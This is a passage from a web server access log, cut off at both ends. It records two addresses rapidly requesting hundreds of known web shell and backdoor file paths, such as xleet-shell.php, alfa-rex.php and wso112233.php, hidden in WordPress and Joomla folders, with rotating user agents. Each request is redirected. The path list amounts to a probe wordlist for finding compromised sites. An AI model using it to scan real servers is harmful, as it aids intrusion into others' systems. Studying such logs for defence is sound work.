AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:10 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:10 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:11 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:11 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:11 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:12 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:13 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:13 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:13 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:14 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:14 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:14 -0400] 